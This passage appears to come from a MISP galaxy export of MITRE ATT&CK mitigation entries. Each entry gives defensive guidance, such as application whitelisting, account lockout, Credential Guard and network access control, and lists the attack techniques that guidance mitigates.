Audit account and group permissions to ensure that accounts used to manage servers do not overlap with accounts and permissions of users in the internal network that could be acquired through Credential Access and used to log into the Web server and plant a Web shell or pivot from the Web server into the internal network. (Citation: US-CERT Alert TA15-314A Web Shells)
The tag is: misp-galaxy:mitre-course-of-action="Web Shell Mitigation - T1100"
Web Shell Mitigation - T1100 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Web Shell - T1100" with estimative-language:likelihood-probability="almost-certain"
Links |
Automated Exfiltration Mitigation - T1020
Identify unnecessary system utilities, scripts, or potentially malicious software that may be used to transfer data outside of a network, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
The tag is: misp-galaxy:mitre-course-of-action="Automated Exfiltration Mitigation - T1020"
Automated Exfiltration Mitigation - T1020 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx |
Hardware Additions Mitigation - T1200
Establish network access control policies, such as using device certificates and the 802.1x standard. (Citation: Wikipedia 802.1x) Restrict use of DHCP to registered devices to prevent unregistered devices from communicating with trusted systems.
Block unknown devices and accessories by endpoint security configuration and monitoring agent.
The tag is: misp-galaxy:mitre-course-of-action="Hardware Additions Mitigation - T1200"
Hardware Additions Mitigation - T1200 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Hardware Additions - T1200" with estimative-language:likelihood-probability="almost-certain"
Links |
Data Compressed Mitigation - T1002
Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to compress files, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
If network intrusion prevention or data loss prevention tools are set to block specific file types from leaving the network over unencrypted channels, then an adversary may move to an encrypted channel.
The tag is: misp-galaxy:mitre-course-of-action="Data Compressed Mitigation - T1002"
Data Compressed Mitigation - T1002 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx |
Windows
Monitor/harden access to LSASS and SAM table with tools that allow process whitelisting. Limit credential overlap across systems to prevent lateral movement opportunities using [Valid Accounts](https://attack.mitre.org/techniques/T1078) if passwords and hashes are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access)
On Windows 8.1 and Windows Server 2012 R2, enable Protected Process Light for LSA. (Citation: Microsoft LSA)
Identify and block potentially malicious software that may be used to dump credentials by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
With Windows 10, Microsoft implemented new protections called Credential Guard to protect the LSA secrets that can be used to obtain credentials through forms of credential dumping. It is not configured by default and has hardware and firmware system requirements. (Citation: TechNet Credential Guard) It also does not protect against all forms of credential dumping. (Citation: GitHub SHB Credential Guard)
Manage the access control list for “Replicating Directory Changes” and other permissions associated with domain controller replication. (Citation: AdSecurity DCSync Sept 2015) (Citation: Microsoft Replication ACL)
Consider disabling or restricting NTLM traffic. (Citation: Microsoft Disable NTLM Nov 2012)
Linux
Scraping the passwords from memory requires root privileges. Follow best practices in restricting access to escalated privileges to avoid hostile programs from accessing such sensitive regions of memory.
The tag is: misp-galaxy:mitre-course-of-action="Credential Dumping Mitigation - T1003"
Credential Dumping Mitigation - T1003 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
System Partition Integrity - M1004
Ensure that Android devices being used include and enable the Verified Boot capability, which cryptographically ensures the integrity of the system partition.
The tag is: misp-galaxy:mitre-course-of-action="System Partition Integrity - M1004"
System Partition Integrity - M1004 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Modify System Partition - T1400" with estimative-language:likelihood-probability="almost-certain"
Links |
Network Sniffing Mitigation - T1040
Ensure that all wireless traffic is encrypted appropriately. Use Kerberos, SSL, and multifactor authentication wherever possible. Monitor switches and network for span port usage, ARP/DNS poisoning, and router reconfiguration.
Identify and block potentially malicious software that may be used to sniff or analyze network traffic by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
The tag is: misp-galaxy:mitre-course-of-action="Network Sniffing Mitigation - T1040"
Network Sniffing Mitigation - T1040 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx |
New Service Mitigation - T1050
Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create new services.
Identify and block unnecessary system utilities or potentially malicious software that may be used to create services by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
The tag is: misp-galaxy:mitre-course-of-action="New Service Mitigation - T1050"
New Service Mitigation - T1050 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx |
Fallback Channels Mitigation - T1008
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)
The tag is: misp-galaxy:mitre-course-of-action="Fallback Channels Mitigation - T1008"
Fallback Channels Mitigation - T1008 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
Links |
Binary Padding Mitigation - T1009
Identify potentially malicious software that may be executed from a padded or otherwise obfuscated binary, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
The tag is: misp-galaxy:mitre-course-of-action="Binary Padding Mitigation - T1009"
Binary Padding Mitigation - T1009 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Binary Padding - T1009" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx |
Connection Proxy Mitigation - T1090
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific C2 protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)
The tag is: misp-galaxy:mitre-course-of-action="Connection Proxy Mitigation - T1090"
Connection Proxy Mitigation - T1090 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
Links |
Encrypt Network Traffic - M1009
Application developers should encrypt all of their application network traffic using the Transport Layer Security (TLS) protocol to ensure protection of sensitive data and deter network-based attacks. If desired, application developers could perform message-based encryption of data before passing it for TLS encryption.
iOS’s App Transport Security feature can be used to help ensure that all application network traffic is appropriately protected. Apple intends to mandate use of App Transport Security (Citation: TechCrunch-ATS) for all apps in the Apple App Store unless appropriate justification is given.
Android’s Network Security Configuration feature similarly can be used by app developers to help ensure that all of their application network traffic is appropriately protected (Citation: Android-NetworkSecurityConfig).
Use of Virtual Private Network (VPN) tunnels, e.g. using the IPsec protocol, can help mitigate some types of network attacks as well.
The tag is: misp-galaxy:mitre-course-of-action="Encrypt Network Traffic - M1009"
Encrypt Network Traffic - M1009 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Rogue Wi-Fi Access Points - T1465" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Downgrade to Insecure Protocols - T1466" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Network Traffic Capture or Redirection - T1410" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Eavesdrop on Insecure Network Communication - T1439" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Rogue Cellular Base Station - T1467" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Manipulate Device Communication - T1463" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Exploit SS7 to Redirect Phone Calls/SMS - T1449" with estimative-language:likelihood-probability="almost-certain"
Links |
https://developer.android.com/training/articles/security-config.html |
Brute Force Mitigation - T1110
Set account lockout policies after a certain number of failed login attempts to prevent passwords from being guessed. Too strict a policy can create a denial of service condition and render environments un-usable, with all accounts being locked-out permanently. Use multifactor authentication. Follow best practices for mitigating access to [Valid Accounts](https://attack.mitre.org/techniques/T1078)
Refer to NIST guidelines when creating passwords.(Citation: NIST 800-63-3)
Where possible, also enable multi factor authentication on external facing services.
The tag is: misp-galaxy:mitre-course-of-action="Brute Force Mitigation - T1110"
Brute Force Mitigation - T1110 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
Links |
Query Registry Mitigation - T1012
Identify unnecessary system utilities or potentially malicious software that may be used to acquire information within the Registry, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
The tag is: misp-galaxy:mitre-course-of-action="Query Registry Mitigation - T1012"
Query Registry Mitigation - T1012 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx |
Remote Services Mitigation - T1021
Limit the number of accounts that may use remote services. Use multifactor authentication where possible. Limit the permissions for accounts that are at higher risk of compromise; for example, configure SSH so users can only run specific programs. Prevent Credential Access techniques that may allow an adversary to acquire [Valid Accounts](https://attack.mitre.org/techniques/T1078) that can be used by existing services.
The tag is: misp-galaxy:mitre-course-of-action="Remote Services Mitigation - T1021"
Remote Services Mitigation - T1021 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Remote Services - T1021" with estimative-language:likelihood-probability="almost-certain"
Links |
Web Service Mitigation - T1102
Firewalls and Web proxies can be used to enforce external network communication policy. It may be difficult for an organization to block particular services because so many of them are commonly used during the course of business.
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol or encoded commands used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)
The tag is: misp-galaxy:mitre-course-of-action="Web Service Mitigation - T1102"
Web Service Mitigation - T1102 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
Links |
Application Developer Guidance - M1013
This mitigation describes any guidance or training given to developers of applications to avoid introducing security weaknesses that an adversary may be able to take advantage of.
The tag is: misp-galaxy:mitre-course-of-action="Application Developer Guidance - M1013"
Application Developer Guidance - M1013 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Access Sensitive Data in Device Logs - T1413" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Screen Capture - T1513" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Access Notifications - T1517" with estimative-language:likelihood-probability="almost-certain"
Links |
AppInit DLLs Mitigation - T1103
Upgrade to Windows 8 or later and enable secure boot.
Identify and block potentially malicious software that may be executed through AppInit DLLs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.
The tag is: misp-galaxy:mitre-course-of-action="AppInit DLLs Mitigation - T1103"
AppInit DLLs Mitigation - T1103 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="AppInit DLLs - T1103" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
Network Intrusion Prevention - M1031
Use intrusion detection signatures to block traffic at network boundaries.
The tag is: misp-galaxy:mitre-course-of-action="Network Intrusion Prevention - M1031"
Network Intrusion Prevention - M1031 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Exfiltration Over Command and Control Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1483" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Data Obfuscation - T1001" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Multi-Stage Channels - T1104" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Multiband Communication - T1026" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Multilayer Encryption - T1079" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Remote Access Tools - T1219" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Standard Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Data Transfer Size Limits - T1030" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Scheduled Transfer - T1029" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Redundant Access - T1108" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Network Service Scanning - T1046" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Template Injection - T1221" with estimative-language:likelihood-probability="almost-certain"
Links |
Port Monitors Mitigation - T1013
Identify and block potentially malicious software that may persist in this manner by using whitelisting (Citation: Beechey 2010) tools capable of monitoring DLL loads by processes running under SYSTEM permissions.
The tag is: misp-galaxy:mitre-course-of-action="Port Monitors Mitigation - T1013"
Port Monitors Mitigation - T1013 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Port Monitors - T1013" with estimative-language:likelihood-probability="almost-certain"
Links |
Encrypt Sensitive Information - M1041
Protect sensitive information with strong encryption.
The tag is: misp-galaxy:mitre-course-of-action="Encrypt Sensitive Information - M1041"
Encrypt Sensitive Information - M1041 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Stored Data Manipulation - T1492" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Transmitted Data Manipulation - T1493" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Email Collection - T1114" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Kerberoasting - T1208" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Private Keys - T1145" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Application Access Token - T1527" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Data from Cloud Storage Object - T1530" with estimative-language:likelihood-probability="almost-certain"
Links |
Active Directory Configuration - M1015
Configure Active Directory to prevent use of certain techniques; use SID Filtering, etc.
The tag is: misp-galaxy:mitre-course-of-action="Active Directory Configuration - M1015"
Active Directory Configuration - M1015 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="SID-History Injection - T1178" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Pass the Ticket - T1097" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Third-party Software - T1072" with estimative-language:likelihood-probability="almost-certain"
Links |
Accessibility Features Mitigation - T1015
To use this technique remotely, an adversary must use it in conjunction with RDP. Ensure that Network Level Authentication is enabled to force the remote desktop session to authenticate before the session is created and the login screen displayed. It is enabled by default on Windows Vista and later. (Citation: TechNet RDP NLA)
If possible, use a Remote Desktop Gateway to manage connections and security configuration of RDP within a network. (Citation: TechNet RDP Gateway)
Identify and block potentially malicious software that may be executed by an adversary with this technique by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
The tag is: misp-galaxy:mitre-course-of-action="Accessibility Features Mitigation - T1015"
Accessibility Features Mitigation - T1015 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Accessibility Features - T1015" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx |
Plist Modification Mitigation - T1150
Prevent plist files from being modified by users by making them read-only.
The tag is: misp-galaxy:mitre-course-of-action="Plist Modification Mitigation - T1150"
Plist Modification Mitigation - T1150 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Plist Modification - T1150" with estimative-language:likelihood-probability="almost-certain"
Links |
Systemd Service Mitigation - T1501
The creation and modification of systemd service unit files is generally reserved for administrators such as the Linux root user and other users with superuser privileges. Limit user access to system utilities such as systemctl to only users who have a legitimate need. Restrict read/write access to systemd unit files to only select privileged users who have a legitimate need to manage system services. Additionally, the installation of software commonly adds and changes systemd service unit files. Restrict software installation to trusted repositories only and be cautious of orphaned software packages. Utilize malicious code protection and application whitelisting to mitigate the ability of malware to create or modify systemd services.
The tag is: misp-galaxy:mitre-course-of-action="Systemd Service Mitigation - T1501"
Systemd Service Mitigation - T1501 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Systemd Service - T1501" with estimative-language:likelihood-probability="almost-certain"
Links |
Shared Webroot Mitigation - T1051
Networks that allow for open development and testing of Web content and allow users to set up their own Web servers on the enterprise network may be particularly vulnerable if the systems and Web servers are not properly secured to limit privileged account use, unauthenticated network share access, and network/system isolation.
Ensure proper permissions on directories that are accessible through a Web server. Disallow remote access to the webroot or other directories used to serve Web content. Disable execution on directories within the webroot. Ensure that permissions of the Web server process are only what is required by not using built-in accounts; instead, create specific accounts to limit unnecessary access or permissions overlap across multiple systems. (Citation: acunetix Server Secuirty) (Citation: NIST Server Security July 2008)
The tag is: misp-galaxy:mitre-course-of-action="Shared Webroot Mitigation - T1051"
Shared Webroot Mitigation - T1051 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Shared Webroot - T1051" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.acunetix.com/websitesecurity/webserver-security/ |
https://nvlpubs.nist.gov/nistpubs/legacy/sp/nistspecialpublication800-123.pdf |
Launch Daemon Mitigation - T1160
Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create new Launch Daemons.
The tag is: misp-galaxy:mitre-course-of-action="Launch Daemon Mitigation - T1160"
Launch Daemon Mitigation - T1160 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Launch Daemon - T1160" with estimative-language:likelihood-probability="almost-certain"
Links |
File Deletion Mitigation - T1107
Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to delete files, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
The tag is: misp-galaxy:mitre-course-of-action="File Deletion Mitigation - T1107"
File Deletion Mitigation - T1107 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx |
User Account Management - M1018
Manage the creation, modification, use, and permissions associated to user accounts.
The tag is: misp-galaxy:mitre-course-of-action="User Account Management - M1018"
User Account Management - M1018 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1084" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Data from Information Repositories - T1213" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Winlogon Helper DLL - T1004" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Dylib Hijacking - T1157" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="File System Permissions Weakness - T1044" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Group Policy Modification - T1484" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Indicator Blocking - T1054" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Launch Agent - T1159" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Launch Daemon - T1160" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Launchctl - T1152" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Local Job Scheduling - T1168" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Login Item - T1162" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Man in the Browser - T1185" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Modify Existing Service - T1031" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1075" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Pass the Ticket - T1097" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Path Interception - T1034" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Rc.common - T1163" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Remote Services - T1021" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Startup Items - T1165" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Systemd Service - T1501" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Shared Webroot - T1051" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1023" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Third-party Software - T1072" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Data from Cloud Storage Object - T1530" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Steal Application Access Token - T1528" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Transfer Data to Cloud Account - T1537" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Cloud Service Dashboard - T1538" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
Links |
Redundant Access Mitigation - T1108
Identify and block potentially malicious software that may be used as a remote access tool, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and will be different across various malware families and versions. Adversaries will likely change tool signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)
The tag is: misp-galaxy:mitre-course-of-action="Redundant Access Mitigation - T1108"
Redundant Access Mitigation - T1108 has relationships with:
-
